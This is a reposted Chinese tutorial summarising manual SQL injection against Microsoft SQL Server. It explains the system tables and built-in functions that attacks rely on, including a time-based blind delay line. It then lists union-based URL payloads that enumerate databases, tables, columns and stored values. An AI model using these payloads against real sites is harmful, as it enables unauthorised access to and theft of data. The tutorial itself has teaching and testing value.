加入收藏 | 设为首页 | 会员中心 | 我要投稿 汽车网 (https://www.0577qiche.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > MsSql教程 > 正文

mssql手工注入简单总结

发布时间:2023-05-09 13:10:25 所属栏目:MsSql教程 来源:
导读:0x01 基础知识
master数据库
master数据库控制sqlserver的所有方面,这个数据库中包含所有的配置信息、用户登陆信息、当前正在服务器运行中的过程的信息。

sysdatabases表
该表保存在master数据库中,这个表中
0x01 基础知识
master数据库
master数据库控制sqlserver的所有方面,这个数据库中包含所有的配置信息、用户登陆信息、当前正在服务器运行中的过程的信息。

sysdatabases表
该表保存在master数据库中,这个表中保存的是所有的库名,以及库的ID,和一些相关信息。(一般用来查询全部的数据库,master..sysdatabases)。

sysobjects表
mssql的每个数据库内都有此系统表,存放该数据库内所有表数据;

关键字段name,id,xtype;

当xtype='u'时,表示为用户建立的表。(一般用来查数据库用户自建表)

syscolumns表
mssql的每个数据库内都有此系统表,存放所有表的字段;

关键字段name,id;

通过确定id来确定字段在哪张表中。

information_schema数据库
该表是在sql server2000及更高版本存在的,可以检索数据库中的对象的元数据,与MysqL中的有相同的功能,它是符合ISO标准的;

该数据库只记录每个自建库的数据,每个自建库对应一个information_schema;

该数据库不会出现在系统数据库中,也就是只能查自建库表数据,列数据;

infomation_schema.tables的关键字段:table_catalog(数据库名)、table_name(表名)

information_schema.columns的关键字段:table_catalog(数据库名)、table_name(表名)、column_name(列名)、data_type(数据类型)

常见内置函数
select host_name();
select currnet_user;
select db_name();                #返回当前数据库名
select @@version;
select subString('admin',1,1);
select char(97);
select ascii('a');
select count(*);                #返回查询的行数
select len('adb');
select isnull(db_name(),0);        # 判断查询是否带有NULL,有则替换
select cast(db_name() as int);  # CAST(a as type) 类型转换,转换失败会报错
select object_id('cms_admin');  # 根据表名返回数据库表名ID
select object_name(199305139);  # 根据ID返回数据库表名
select @@version for xml path;  # 将查询到的数据以xml形式返回(相当于MysqL的group_concat()聚合)
if (1=1) waitfor delay '0:0:2'  # 时间盲注语句,延迟2秒,if前不需要and
0x02 联合查询注入
使用类似于limit操作的top

查当前数据库

?id=1 union select 1,'2',(select db_name()),4
查当前数据库的表数量

?id=1 union select 1,'2','3',(select count(name) from sysobjects where xtype='u')
查当前数据库的表(可bp爆破)修改后面的top值

?id=1 union select 1,'2',(select top 1 name from sysobjects where xtype='u' and name not in (select top 0 name from sysobjects  where xtype='u')),4
查看当前数据库某表的列数量

?id=1 union select 1,'2','3',(select count(*) from syscolumns where id=object_id('ptest'))
查看当前数据库某表的列名

?id=1 union select 1,'2',(select top 1 name from syscolumns where id=object_id('ptest') and name not in (select top 0 name from syscolumns where id=object_id('ptest'))),4
查看当前数据库下某表有多少行

?id=1 union select 1,'2','3',(select  count(*) from ptest)
查看当前数据库下某表的值

?id=4 union select 1,'2',(select top 1 cmd from ptest),4

(编辑:汽车网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章